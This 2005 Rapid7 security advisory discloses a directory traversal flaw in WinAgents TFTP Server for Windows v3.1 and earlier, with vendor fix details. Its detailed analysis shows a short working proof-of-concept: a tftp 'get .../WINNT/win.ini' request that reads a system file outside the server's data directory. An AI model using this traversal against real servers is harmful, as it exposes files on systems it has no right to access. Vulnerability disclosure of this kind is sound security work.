_______________________________________________________________________
                     Rapid7, LLC Security Advisory
            Visit http://www.rapid7.com/ to download NeXpose,
        SC Magazine Winner of Best Vulnerability Management product.
_______________________________________________________________________

Rapid7 Security Advisory R7-0020
Directory traversal vulnerability in WinAgents TFTP Server for Windows

   Date:  August 17, 2005
   Revision:   1.0
   http://www.rapid7.com/advisories/R7-0020.jsp

   CVE: CVE-2006-1952

1. Affected system(s):

   KNOWN VULNERABLE:
    o WinAgents TFTP Server for Windows v3.1 and earlier

   KNOWN FIXED:
    o WinAgents TFTP Server for Windows v3.2

2. Summary

   Rapid7 has found a directory traversal vulnerability in WinAgents
   TFTP Server for Windows.  This vulnerability allows remote users to
   download any files outside of the server's TFTP data directory.

3. Vendor status and information

   WinAgents Software Group
   http://www.winagents.com/en/products/tftp-server/

4. Solution

   According to the vendor, WinAgents TFTP server version 3.2 fixes
   this directory traversal vulnerability.  For more information, see
   http://www.winagents.com/en/news/410.php

5. Detailed analysis

   TFTP servers are often used to transfer configuration files and
   operating system images to routers.  TFTP is also used for devices
   that support PXE booting.

   Most implementations do trivial filtering on requested filenames
   such as "../filename" to prevent easy directory traversal.
   However, it is easy to bypass this filtering by manipulating the
   filename being requested.

   With the WinAgents TFTP server, any file on the system can be
   downloaded using a request similar to the following:

      $ tftp 192.168.0.1
      tftp> get .../WINNT/win.ini
      Received 582 bytes in 0.1 seconds
      tftp> quit

      $ cat win.ini
      ; for 16-bit app support
      [fonts]
      [extensions]
      [mci extensions]
      [files]
      [Mail]
      MAPI=1
      ...

6. Contact Information

   Rapid7 Security Advisories
   Email:   advisory@rapid7.com
   Web:     http://www.rapid7.com/
   Phone:   +1 (617) 247-1717

7. Disclaimer and Copyright

   Rapid7, LLC. is not responsible for the misuse of the information
   provided in our security advisories. These advisories are a service
   to the professional security community.  There are NO WARRANTIES
   with regard to this information. Any application or distribution of
   this information constitutes acceptance AS IS, at the user's own
   risk.  This information is subject to change without notice.

   This advisory Copyright (C) 2005 Rapid7, LLC.  Permission is
   hereby granted to redistribute this advisory, providing that no
   changes are made and that the copyright notices and disclaimers
   remain intact.